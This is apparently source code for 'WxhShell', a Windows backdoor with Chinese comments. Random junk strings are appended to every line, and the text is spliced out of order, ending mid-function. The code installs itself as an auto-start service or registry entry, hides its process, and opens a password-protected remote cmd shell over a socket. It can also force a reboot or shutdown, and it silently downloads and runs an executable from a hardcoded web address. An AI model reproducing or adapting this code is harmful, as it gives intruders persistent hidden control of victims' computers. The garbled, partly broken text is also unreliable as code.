    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \8iWcqJktN  
    if(Boot(SHUTDOWN)) $i.)1.x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  KSB{Z TE  
    else { Y/Q/4+  
    closesocket(wsh); |}2X|4&X  
    ExitThread(0); .E&-gXJ4  
    } _|} GhdYE  
    break; _NkbB"+L  
    } }RN&w ]<  
  // 获取shell gbL!8Z1h  
  case 's': { iU9>qJ]  
    CmdShell(wsh); Y=YIz>u  
    closesocket(wsh); 8}<4f|?  
    ExitThread(0); o<\9OQ0  
    break; 1GI/gc\  
  } J-)9>~[E<  
  // 退出 9>1Gj-S2:  
  case 'x': { CF_pIfbaf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iQJ[?l`  
    CloseIt(wsh); UqEpeLK  
    break; _pe_w{V-b6  
    } M8}t`q[-&  
  // 离开 Cp[ NVmN  
  case 'q': { Kb5 YA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r~U/t~V=D  
    closesocket(wsh); Q{"QpVY8  
    WSACleanup(); dzn[4  
    exit(1); Uth H  
    break; yo@S.7[/  
        } w\QMA3  
  } Vp~c$y+  
  } ~L7@,d:  
ic]b"ItD  
  // 提示信息 /yn%0Wish  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ()+PP}:$A  
} eg$y,Tx  
  } x{.+i'  
vl67Xtk4  
  return; %pk'YA{M)q  
} W$bQS!7y  
svTKt%6X  
// shell模块句柄 yl'@p 5n  
int CmdShell(SOCKET sock) q+}KAk|]V  
{ U1!#TD)@  
STARTUPINFO si; HX&G  k  
ZeroMemory(&si,sizeof(si)); /-v6jiM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /suW{8A(E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rrL gBeQa  
PROCESS_INFORMATION ProcessInfo; 9KgGK cy%  
char cmdline[]="cmd"; Jv+N/+M47  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jFr[T  
  return 0; xS>d$)rIj  
} uz%<K(:Ov  
|2t1m 6\j  
// 自身启动模式 =]swhF+l-  
int StartFromService(void) a#L:L8T;j  
{ d)yu`U  
typedef struct [S<1|hk s(  
{ iS]4F_|vd  
  DWORD ExitStatus; f}%paE"  
  DWORD PebBaseAddress; b:6NVHb%  
  DWORD AffinityMask; T>cO{I  
  DWORD BasePriority; d(X/N2~g  
  ULONG UniqueProcessId; "z6 xS;  
  ULONG InheritedFromUniqueProcessId; ;if PqL kO  
}   PROCESS_BASIC_INFORMATION; w28&qNha  
: FN-.1C  
PROCNTQSIP NtQueryInformationProcess; hzcSKRm  
JOUZ"^v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; km,I75o.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y`Nprwb  
s'4%ZE2Dr  
  HANDLE             hProcess; bCL/"OB  
  PROCESS_BASIC_INFORMATION pbi; ~cL)0/j}  
o6Jhl8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kIwq%c;  
  if(NULL == hInst ) return 0; %5yP^BL0  
XEe$Wh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `37%|e3bQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]VcuD05"C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %F2T`?t:  
%)#yMMhR  
  if (!NtQueryInformationProcess) return 0; F"| ;  
nIEIb.-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UpSa7F:Uw  
  if(!hProcess) return 0; *ORa@ x  
,~G:>q$ad  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O[j$n  
,:6.Gi)|  
  CloseHandle(hProcess); E|"QYsi.Ck  
#B6$ r/%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KSve_CBOh  
if(hProcess==NULL) return 0; cMoBYk  
&~'^;hy=  
HMODULE hMod; ^ ~kfo|  
char procName[255]; pebNE3`#  
unsigned long cbNeeded; ?`3G5at)9f  
R@ MXwP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vs2xx`Y<Lq  
T?KM}<$(O  
  CloseHandle(hProcess); #SR )tU  
*(o^w'5  
if(strstr(procName,"services")) return 1; // 以服务启动 p?' F$Wz  
jL*s(Yq  
  return 0; // 注册表启动 + %H2;8{F  
} Mi<}q@]e  
:Tdl84   
// 主模块 7,3 g{8  
int StartWxhshell(LPSTR lpCmdLine) 0Ci:w|J  
{ q@d6P~[-gj  
  SOCKET wsl; fiQ/ &]|5  
BOOL val=TRUE; ge[&og/$  
  int port=0; = /kT|  
  struct sockaddr_in door; ?MD\\gN  
"9OOyeKu%  
  if(wscfg.ws_autoins) Install(); _/5xtupxE  
cHUj6'neO  
port=atoi(lpCmdLine); jF 6[+bW<  
~-BIU Z;  
if(port<=0) port=wscfg.ws_port; mU;\,96#  
G\Q0{4w8  
  WSADATA data; fH 0&Wc3yC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bdyIt)tK+  
4p]hY!7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /S`d?AV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rlSflcK\\(  
  door.sin_family = AF_INET; dUP8[y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q&V=A[<rz  
  door.sin_port = htons(port); _;u@xl=  
29k\}m7l<*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }tPI#[cfK  
closesocket(wsl); IfpFsq:  
return 1; ek]CTUl*  
} BZRC0^-C@  
8\rHSsP  
  if(listen(wsl,2) == INVALID_SOCKET) { LE@`TPg$R  
closesocket(wsl); 5# $5ct  
return 1; ^?gs<-)B  
} k?ksv+e\  
  Wxhshell(wsl); (C!33s1  
  WSACleanup(); -,} ppTG  
'>"-e'1m(  
return 0; l;'c6o0e  
?o.Q  
} [9xUMX^}  
^FN(wvqb8  
// 以NT服务方式启动 y1+~IjY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i*Ee(m]I  
{ w|WehNGr  
DWORD   status = 0; 4O'X+dv^I  
  DWORD   specificError = 0xfffffff; oN " /w~  
5b-: e? |  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cQldBc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rg{|/ ;imT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ay,E!G&H  
  serviceStatus.dwWin32ExitCode     = 0; J\x.:=V  
  serviceStatus.dwServiceSpecificExitCode = 0; "R v],O"  
  serviceStatus.dwCheckPoint       = 0; #OVf2  "  
  serviceStatus.dwWaitHint       = 0; 5cE?>  
o$-!E(p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ULIpb  
  if (hServiceStatusHandle==0) return; 'vUx4s  
{expx<+4F  
status = GetLastError(); Z/hgr|&}  
  if (status!=NO_ERROR) _}(ej&'f  
{  dr iw\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E T 2@dY~  
    serviceStatus.dwCheckPoint       = 0; ?#0|A?U  
    serviceStatus.dwWaitHint       = 0; `c~J&@|  
    serviceStatus.dwWin32ExitCode     = status; ;VAHgIpx;  
    serviceStatus.dwServiceSpecificExitCode = specificError; uWE :3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v8!Ts"  
    return; lboi\GP|  
  } _wKaFf  
@XL5$k[Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n^2p jTkl  
  serviceStatus.dwCheckPoint       = 0; $06[D91'  
  serviceStatus.dwWaitHint       = 0; e7^B3FOx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qu:nV"~_  
} o6[aP[~F  
3</gK$f2  
// 处理NT服务事件,比如:启动、停止 #{BHH;J+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O<o>/HH$  
{ M)JKe!0ad1  
switch(fdwControl) 5m]N%{<jAB  
{ .h7`Q{  
case SERVICE_CONTROL_STOP: ,'f^K!iA   
  serviceStatus.dwWin32ExitCode = 0; 5v`[c+@F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2`;&Uwt  
  serviceStatus.dwCheckPoint   = 0; ?8GggJC  
  serviceStatus.dwWaitHint     = 0; =h Lw 1~  
  { r$ 8 ^K\oF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Q`{ Gk  
  } t3// U#  
  return; Sd |=*X  
case SERVICE_CONTROL_PAUSE: ac%6eW0#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1R+/T  
  break; z?DI4 O#Up  
case SERVICE_CONTROL_CONTINUE: : [r/ Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2]}4)_&d<e  
  break; ~Bi>T15e  
case SERVICE_CONTROL_INTERROGATE: o<8('j   
  break; {)?:d6"  
}; ]~K&b96(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +>}LT_  
} rn9n_)  
w5+H9R6  
// 标准应用程序主函数 3HEm-pok  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o^ zrF  
{ X;&Iu{&=  
*t%Z'IA  
// 获取操作系统版本 <%iRa$i5  
OsIsNt=GetOsVer(); SIridZ*%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2if7|o$=  
E#!tXO&,  
  // 从命令行安装 1p5n}|  
  if(strpbrk(lpCmdLine,"iI")) Install(); DEw>f%&4  
YWFq&II|Z  
  // 下载执行文件 e~U]yg5X-  
if(wscfg.ws_downexe) { J yO2P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (hJ&`Tt  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2Onp{,'}  
} f OasX!=  
%b[>eIJU#  
if(!OsIsNt) { z?^oy.  
// 如果时win9x,隐藏进程并且设置为注册表启动 {sfA$ d0  
HideProc(); er8T:.Py  
StartWxhshell(lpCmdLine); w *M&@+3I  
} @V&c=8) 8  
else 'eo/"~/*w  
  if(StartFromService()) @C|nc&E2s  
  // 以服务方式启动 D3B]  
  StartServiceCtrlDispatcher(DispatchTable); T-LX>*  
else ]9N&I/-  
  // 普通方式启动 apOa E7|  
  StartWxhshell(lpCmdLine); 3=Q:{  
"<"m}rE?Q  
return 0; lrAhdi  
} p|C[T]J\@  
n$F~  
]OtnekkK$  
9=mc3m:Tb(  
=========================================== lA pZC6Iwk  
g#MLA5%=u  
pM^ZC  
<5? pa3  
.g3=L  
%q}[ZD/HD  
" E.Q]X]q  
AhD C5ue=  
#include <stdio.h> CLTkyS)C  
#include <string.h> `BQv;NtP  
#include <windows.h> u&w})`+u5  
#include <winsock2.h> Wqkb1~]#Y  
#include <winsvc.h> |his8\C+x  
#include <urlmon.h> zXM,cV/s   
(6.uNLr  
#pragma comment (lib, "Ws2_32.lib") _1NK9dp:  
#pragma comment (lib, "urlmon.lib") ESNI$[`  
a}uYv:  
#define MAX_USER   100 // 最大客户端连接数 xorafL  
#define BUF_SOCK   200 // sock buffer c:.~%AJx  
#define KEY_BUFF   255 // 输入 buffer fd4C8>*7G  
V^,eW!  
#define REBOOT     0   // 重启 \"1>NJn&k)  
#define SHUTDOWN   1   // 关机 @zC6`  
f-G)pHm  
#define DEF_PORT   5000 // 监听端口 4 s ax  
*I)J%#  
#define REG_LEN     16   // 注册表键长度 IH;sVT $M  
#define SVC_LEN     80   // NT服务名长度 dYwkP^KB  
T#H^ }`  
// 从dll定义API !+Xul_XG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Oj;*Gi9E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $uZmIu9Bi+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `^Vd*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '< U&8?S  
jZ |M$I3*  
// wxhshell配置信息 K9lekevB  
struct WSCFG { KGYbPty}  
  int ws_port;         // 监听端口 :Ln)j%&  
  char ws_passstr[REG_LEN]; // 口令 SHX`/  
  int ws_autoins;       // 安装标记, 1=yes 0=no @"@|O>KJ  
  char ws_regname[REG_LEN]; // 注册表键名 ->rqr#  
  char ws_svcname[REG_LEN]; // 服务名 n.&7lg^X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  E.h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PjeI&@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $<v4c5r]O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -K'UXoU1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" taE p   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fAgeF$9@  
Xg C^-A w  
}; y>EW,%leC  
w$:\!FImx  
// default Wxhshell configuration In1W/ ?  
struct WSCFG wscfg={DEF_PORT, c!ZZMC s  
    "xuhuanlingzhe", l8FJ\5'M  
    1, s<zN`&t  
    "Wxhshell", "V' r}>  
    "Wxhshell", @3.Z>KONx  
            "WxhShell Service", J"C9z{[Z&  
    "Wrsky Windows CmdShell Service", Y~vk>ZC  
    "Please Input Your Password: ", ,^([aK  
  1, NV * 2  
  "http://www.wrsky.com/wxhshell.exe", @P7'MiP]K  
  "Wxhshell.exe" I _KHQ&Z*  
    }; 1eD#-tzV  
 ;j26(dH  
// 消息定义模块 rRRh-%.RU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .b,\.0N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $VmV>NZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6CyByj&  
char *msg_ws_ext="\n\rExit."; Ak?9a_f  
char *msg_ws_end="\n\rQuit."; t{] 6GlW  
char *msg_ws_boot="\n\rReboot..."; ^aB;Oo  
char *msg_ws_poff="\n\rShutdown..."; S%\5"uGa  
char *msg_ws_down="\n\rSave to "; ;5/Se"Nd  
SD^::bH  
char *msg_ws_err="\n\rErr!"; K6->{!8]k  
char *msg_ws_ok="\n\rOK!"; Tv|'6P  
JPDxzp  
char ExeFile[MAX_PATH]; x<l 5wh  
int nUser = 0; 2!6hB sEr  
HANDLE handles[MAX_USER]; :$G^TD/n  
int OsIsNt; ;-1KPDIp`  
;j T{< Y  
SERVICE_STATUS       serviceStatus; TIp\-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~;HASHu  
| d*<4-:  
// 函数声明 z"< S$sDh  
int Install(void); cUug}/!I  
int Uninstall(void); iX?j"=!  
int DownloadFile(char *sURL, SOCKET wsh); !*c%Dj  
int Boot(int flag); H2],auBY  
void HideProc(void); w_U#z(W3l  
int GetOsVer(void); 2_Lu 0Yrg  
int Wxhshell(SOCKET wsl); eV_ ",W  
void TalkWithClient(void *cs); yHY2 SXm  
int CmdShell(SOCKET sock); F4=X(P_6  
int StartFromService(void); =>S[Dh  
int StartWxhshell(LPSTR lpCmdLine); M7qg\1L  
lGet)/w;c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :2 \NG}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~I")-2"B  
p+Yy"wH:h{  
// 数据结构和表定义 [?6+ r  
SERVICE_TABLE_ENTRY DispatchTable[] = \V~B+e  
{ +^J&x>5  
{wscfg.ws_svcname, NTServiceMain}, zq5N@d F  
{NULL, NULL} )l*3^kwL{U  
}; .D7Gog3^<  
&|IO+'_  
// 自我安装 Eb,M+c?  
int Install(void) &gh>'z;`r  
{ .mnkV -m  
  char svExeFile[MAX_PATH]; ;qzn_W  
  HKEY key; Nt tu)wr  
  strcpy(svExeFile,ExeFile); 1< b~="  
(wH+0  
// 如果是win9x系统,修改注册表设为自启动 ^K<!`B  
if(!OsIsNt) { lNe5{'OrO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {h|kx/4{m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RSe av  
  RegCloseKey(key); a/CY@V-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OZKZv,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z3^gufOkQ  
  RegCloseKey(key); ]:#W$9,WL  
  return 0; A'uubFRL2[  
    } ?`:+SncI"b  
  } [pt U}  
} ocS}4.a@  
else { ,7d#t4  
`/G9*tIR8g  
// 如果是NT以上系统,安装为系统服务 3#uc+$[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (j%"iQD  
if (schSCManager!=0) /+<G@+(  
{ u3cl7~- yW  
  SC_HANDLE schService = CreateService Y6jgAq  
  ( /*6[Itm_h  
  schSCManager, 9+Wf*:*EW  
  wscfg.ws_svcname, F$s:\ N  
  wscfg.ws_svcdisp, #/t+h#jG  
  SERVICE_ALL_ACCESS, h5n@SE>G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lq#!}QcW=  
  SERVICE_AUTO_START, CQ{pv3)  
  SERVICE_ERROR_NORMAL, M>*xbBl  
  svExeFile, q:wz!~(>  
  NULL, /mn'9=ks  
  NULL, Lu71Qdu09  
  NULL, #8WHIDS>  
  NULL, 2H1?f|0>  
  NULL IR8qFWDZ  
  ); Eh *u6K)Z  
  if (schService!=0) b-J6{=k^  
  { ;|,*zD  
  CloseServiceHandle(schService); y+' ,jM  
  CloseServiceHandle(schSCManager); 3my_Gp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XS>( Bu  
  strcat(svExeFile,wscfg.ws_svcname); - ^>7\]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K;R!>p}t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `{ \)Wuw  
  RegCloseKey(key); 'qoaMJxN`  
  return 0; 8wCB}qC  
    } > =Na,D  
  } Jb|dpu/e  
  CloseServiceHandle(schSCManager); !3ji]q;uF  
} .p78 \T  
} G#.q%Up  
F ^)( 7}ph  
return 1; s[t?At->  
} As|e=ut(  
xeRoif\4c  
// 自我卸载 QRdh2YH`  
int Uninstall(void) p%+'iDb  
{ u"U7aYGkY  
  HKEY key; B*}:YV  
nR,QqIFFw  
if(!OsIsNt) { nCLEAe$W\=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % 3<7HY]~  
  RegDeleteValue(key,wscfg.ws_regname); Pu,2a+0N  
  RegCloseKey(key); Z1U@xQj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -]Aqt/w"l  
  RegDeleteValue(key,wscfg.ws_regname); +DYsBCVbag  
  RegCloseKey(key); 4 udW 6U  
  return 0; +-Z `v  
  } O-n JuZJgX  
} ZtX CPA!  
} |}o3EX  
else { O_v*,L!  
1P G"IaOb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fzy5k?R  
if (schSCManager!=0) R|]n;*y  
{ 5a5)hmO RB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *_K*GCy  
  if (schService!=0) ,k}(]{ -  
  { 9`7>" [=P  
  if(DeleteService(schService)!=0) { pL2{zW`FDh  
  CloseServiceHandle(schService); +77B656  
  CloseServiceHandle(schSCManager); ^`bMFsP  
  return 0; EvF[h:C2  
  } # GzowI'  
  CloseServiceHandle(schService); Dv~jVIXu  
  } /25Ay  
  CloseServiceHandle(schSCManager); zxeT{AFPr?  
} #g<6ISuf  
} VPb8dv(a3  
xcH&B %;f  
return 1; ;?%_jB$P  
} a`>H69(bU  
"6Z(0 iu:{  
// 从指定url下载文件 }l Gui>/D  
int DownloadFile(char *sURL, SOCKET wsh) 5t-, 5  
{ &_74h);2I:  
  HRESULT hr; N! I$Qtr,  
char seps[]= "/"; I:("f+ H  
char *token; 5<YL^m{/L  
char *file; wOsg,p;\'  
char myURL[MAX_PATH]; I+ Y{_yw"f  
char myFILE[MAX_PATH]; &^l(RBp]0  
P~%+KxwZQ  
strcpy(myURL,sURL); 9dWz3b1[]  
  token=strtok(myURL,seps); (p<pF].  
  while(token!=NULL) |#'n VN.;  
  { 4iss j$  
    file=token; "F[7b!>R  
  token=strtok(NULL,seps); tS-gaT`T  
  } h`iOs>  
;; ;=)'o  
GetCurrentDirectory(MAX_PATH,myFILE); (>NZYPw^3  
strcat(myFILE, "\\"); +}PN+:yV  
strcat(myFILE, file); @_1cY#!  
  send(wsh,myFILE,strlen(myFILE),0); [bRE=Zr$Ry  
send(wsh,"...",3,0); A0:rn\$l3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ ,/~P)  
  if(hr==S_OK) _*MK"  
return 0; 3R0ioi 7  
else 5DVYHN9c|  
return 1; :2K@{~8r  
72 |O&`O  
} ,Vw>3|C  
K6sXw[VC[  
// 系统电源模块 5 7-Hx;  
int Boot(int flag) kw E2V+2  
{ aYDo0?kF'  
  HANDLE hToken; t"Ah]sD  
  TOKEN_PRIVILEGES tkp; ~?FhQd\Q  
*0to,$ n  
  if(OsIsNt) { dDIR~ !T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {M5t)-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I7~) q`  
    tkp.PrivilegeCount = 1; ^'a#FbMtt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]Yw$A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E2d'P  
if(flag==REBOOT) { Jv+w{"&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D}LM(s3li7  
  return 0; R TpNxr{[  
} "RN] @p#m  
else { E6Z kO/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;o9ixmT<-o  
  return 0; v"W*@7<`S  
} V~ORb1  
  } )*>wa%[-q  
  else { xcU!bDV  
if(flag==REBOOT) { $`55 E(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^9:`D@Z+  
  return 0; :C(/yg  
} 6]Is"3ca  
else { e-`.Ht  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {MSE}|A\V  
  return 0; >Vjn]V5y  
} |w}j!}u  
} @,TIw[p  
Q_|}~4_+  
return 1; wlJi_)!  
} } &B6  
Q(nTL WW  
// win9x进程隐藏模块 zMFTkDY  
void HideProc(void) Y?NL|cW4  
{ =g9n =spAn  
hm! J@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lo{wTYt:J  
  if ( hKernel != NULL ) :J]'c}  
  { 95z|}16UK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L)J1yw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _d5:Y  
    FreeLibrary(hKernel); kt2_WW[  
  } XNWtX-[ ^@  
E 6TeZ%g  
return; W_ `]7RO8  
} BZ?3=S1*  
N7_eLhPt*8  
// 获取操作系统版本 :^3) [.m  
int GetOsVer(void) 7qB4_  
{ .Rk8qRB  
  OSVERSIONINFO winfo; !Ud'(iGa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =# Sw.N  
  GetVersionEx(&winfo); 'Z4}O_5_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <J&S[`U!  
  return 1; QPDh!A3T  
  else iAu/ t  
  return 0; iH }-  
} P[ :_"4U  
ca_mift  
// 客户端句柄模块 1n8[fgz  
int Wxhshell(SOCKET wsl) 5 3%>)gk:  
{ 6e+'Y"v  
  SOCKET wsh; S\).0goOW  
  struct sockaddr_in client; T?pS2I~  
  DWORD myID; mQ:{>`  
 LgNIb  
  while(nUser<MAX_USER) v745F Iy<  
{ ]$@a.#}  
  int nSize=sizeof(client); }L_YpG7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'Zu S  
  if(wsh==INVALID_SOCKET) return 1; A `Z/B[)  
LORcf1X/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8F}drK9>F  
if(handles[nUser]==0) ODxZO3  
  closesocket(wsh); x s{pGQ6Q  
else P1-eDHYw  
  nUser++; G\@pg;0|y  
  } 32YbBGDN!f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dht0PZdx?  
wh8';LZ>R  
  return 0; SGAzeymw  
} YMX9Z||  
Xqf,_I=V  
// 关闭 socket `6U!\D  
void CloseIt(SOCKET wsh) R=z])  
{ S+T/(-W  
closesocket(wsh); "?8)}"/f  
nUser--; n=.P46|  
ExitThread(0); Oidf\%!mvR  
} R BYhU55B  
}Pcm'o_wT  
// 客户端请求句柄 uZ+bo&  
void TalkWithClient(void *cs) Pyo|Sgk  
{ WMB%?30  
yb`PMjj15  
  SOCKET wsh=(SOCKET)cs; ){;XI2  
  char pwd[SVC_LEN]; #EPC]jFk  
  char cmd[KEY_BUFF]; f"ezmZI  
char chr[1]; 3Ua?^2l  
int i,j; /LD3Bb)O  
`b?uQ\#-M  
  while (nUser < MAX_USER) { 4>KF`?%4  
/(dP)ysc  
if(wscfg.ws_passstr) { GJ ^c^`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'cD?0ou`o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tq1\  
  //ZeroMemory(pwd,KEY_BUFF); |+#Zuq  
      i=0; zxyl+tU &  
  while(i<SVC_LEN) { XM$ ~HG  
@62T:Vl  
  // 设置超时 D-gH_ff<]9  
  fd_set FdRead; <Ky-3:pxeM  
  struct timeval TimeOut; Z vysLHj  
  FD_ZERO(&FdRead); 1QoW/X'>.  
  FD_SET(wsh,&FdRead); i^s Vy  
  TimeOut.tv_sec=8; f"MID6  
  TimeOut.tv_usec=0; cn'>dz3v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F? #3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mQ[$U  
qmrT d G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >xFvfuyC  
  pwd=chr[0]; `[/#, *\  
  if(chr[0]==0xd || chr[0]==0xa) { Xaq;d'  
  pwd=0; ;4F6 $T'I  
  break; zoq;3a5cqB  
  } ,Z`}!%?  
  i++; \6b~$\~B  
    } xl}rdnf}  
59E9K)c3  
  // 如果是非法用户,关闭 socket 8`4M4" lj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e(c\U}&  
} Hm-#Mpw  
mqSVd^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WtM%(8Y[]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oi #B7  
;_}pIO  
while(1) { [txOh!sxD  
8v$q+Wic  
  ZeroMemory(cmd,KEY_BUFF); 8_Oeui(i  
s^k G]7  
      // 自动支持客户端 telnet标准   #:)'D?,  
  j=0; 0seCQANd  
  while(j<KEY_BUFF) { >M<3!?fW)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8P n  
  cmd[j]=chr[0]; 'Ru(`" 1|  
  if(chr[0]==0xa || chr[0]==0xd) { M.}9)ho   
  cmd[j]=0; v\x l?F  
  break; 66=[6U9 *  
  } {*xE+ |  
  j++; ^y5A\nz&  
    } L%/RD2L D  
8hGyh#  
  // 下载文件 :V/".K-:J  
  if(strstr(cmd,"http://")) { n Kkpp-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *|rdR2R!  
  if(DownloadFile(cmd,wsh)) 2BccE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4.9qB  
  else !BQt+4G7  
